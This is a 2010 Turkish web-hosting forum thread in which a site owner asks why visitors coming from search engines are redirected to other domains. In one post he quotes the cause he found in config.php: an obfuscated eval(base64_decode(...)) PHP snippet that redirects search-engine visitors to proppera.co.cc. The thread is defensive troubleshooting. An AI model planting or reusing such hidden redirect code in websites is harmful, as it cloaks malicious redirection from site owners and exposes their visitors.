Sitelerimden birinde trojen var.

RaYiHaN · 1 20-10-2010, 17:28:47

http://www.sultandagitarim.gov.tr adresli siteme browser adres satırından ulaşmaya çalıştığımda Avast kasperksy Avg ve Nod32 de sorunsuz olarak siteme girebiliyorum.

ama google bing vs gibi sitelerden girmeye çalıştığımda arama motorları ilk olarak status bar da http://www.sultandagitarim.gov.tr aranıyor derken birden başka bir siteye yönleniyor. yönlenen site adresi ise p3p0.com , proppera.co.cc.. sitenin tüm dosyalarını indirip avast ve kaspersky da tarattım sonuç temiz.

google a sitenin yeniden değerlendirilmesini talep ettiğimde ise 1 zararlı yazılım tespit etti denilerek yasaklı site listesinden adı kaldırılmadı.

ben daha önce iframe virüsleri ile vs oldukca fazla uğraştığım için az çok tecrübeliyim ama bu durumda ne yapacağımı bilemedim.

bu siteye nerden ve nasıl yönleniyor bu meret..

yardımcı olabilirseniz büyük bir sıkıntıdan kurtacaksınız beni..

RaYiHaN · 2 21-10-2010, 23:41:55

bu problem konusunda tecrübeli kimse yok mu

mavikorku · 3 21-10-2010, 23:44:16

hostcunuza danısın bu sorunu onlar halletmezlerse buradan size gönüllü birileri cıkar inş zor bi durum bu siteye virüs bulasması..

Kapadokyaweb · 4 21-10-2010, 23:48:32

Alıntı:

google a sitenin yeniden değerlendirilmesini talep ettiğimde ise 1 zararlı yazılım tespit etti denilerek yasaklı site listesinden adı kaldırılmadı.

demişsiniz , Zaten google Site yöneticisinde zararlı yazılım oldugu bölümü gösteriyor. Sitende 10 tane zararlı bir yazılım sözkonuysa bunu oradan [google'dan] görebilir ve dosya yöneticisinden silebilirsiniz .
Göstermiyor mu acaba ?

RaYiHaN · 5 21-10-2010, 23:57:33

config.php ye eklenmiş bir kod yakaladım ve sorun düzeldi sanırım..

Alıntı:

eval(base64_decode("aWYgKHN0cmlzdHIoJF9TRVJWRVJbSF RUUF9SRUZFUkVSXSwiYmluZyIpKSB7DQpwcmVnX21hdGNoICgi L3FcPSguKj8pJi8iLCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sJG trKTsNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3Byb3Bw ZXJhLmNvLmNjLz9xPSIuJGtrWzFdKTsNCgkJZXhpdCgpOw0KfQ 0KZWxzZWlmIChzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJF Ul0sInlhaG9vIikpIHsNCnByZWdfbWF0Y2ggKCIvcFw9KC4qPy kmLyIsJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwka2spOw0KCQlo ZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcHJvcHBlcmEuY28uY2 MvP3E9Ii4ka2tbMV0pOw0KCQlleGl0KCk7DQp9ZWxzZWlmIChz dHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sImdvb2dsZS IpKSB7DQoJaWYgKCFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVG RVJFUl0sIi5udSIpIGFuZCAhc3RyaXN0cigkX1NFUlZFUltIVF RQX1JFRkVSRVJdLCJzaXRlIikgYW5kICFzdHJpc3RyKCRfU0VS VkVSW0hUVFBfUkVGRVJFUl0sImludXJsIikpew0KCQlwcmVnX2 1hdGNoICgiL3FcPSguKikvIiwkX1NFUlZFUltIVFRQX1JFRkVS RVJdLCRrayk7DQoJCWlmIChzdHJpc3RyKCRra1sxXSwiJiIpKS B7DQoJCQlwcmVnX21hdGNoICgiLyguKj8pXCYvIiwka2tbMV0s JGtleTIpOw0KCQkJJGtleXdvcmQ9dXJsZGVjb2RlKCRrZXkyWz FdKTsNCgkJfWVsc2Ugew0KCQkJJGtleXdvcmQ9dXJsZGVjb2Rl KCRra1sxXSk7DQoJCX0NCgkJaGVhZGVyKCJMb2NhdGlvbjogaH R0cDovL3Byb3BwZXJhLmNvLmNjLz9xPSIuJGtleXdvcmQpOw0K CQlleGl0KCk7DQoJfQ0KDQp9"));

RaYiHaN · 6 22-10-2010, 00:00:15

Alıntı:

Kapadokyaweb Nickli Üyeden Alıntı

demişsiniz , Zaten google Site yöneticisinde zararlı yazılım oldugu bölümü gösteriyor. Sitende 10 tane zararlı bir yazılım sözkonuysa bunu oradan [google'dan] görebilir ve dosya yöneticisinden silebilirsiniz .
Göstermiyor mu acaba ?

yasaklı siteye yönlendiği için o siteyi yasaklı konumda tutuyor ve o sitedeki trojen/virüs yerini gösteriyordu. yani nasıl ayarlamışlar anlamadım ama sadece google dan tıklamalarda o siteye yönleniyordu. adres satırına direk site adresi yazıldığında başka yere yölenmiyor sitede virüs uyarısı almıyorduk.

neyseki halletim.

Teşekkür ederim ilgin için.

Seçenekler
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder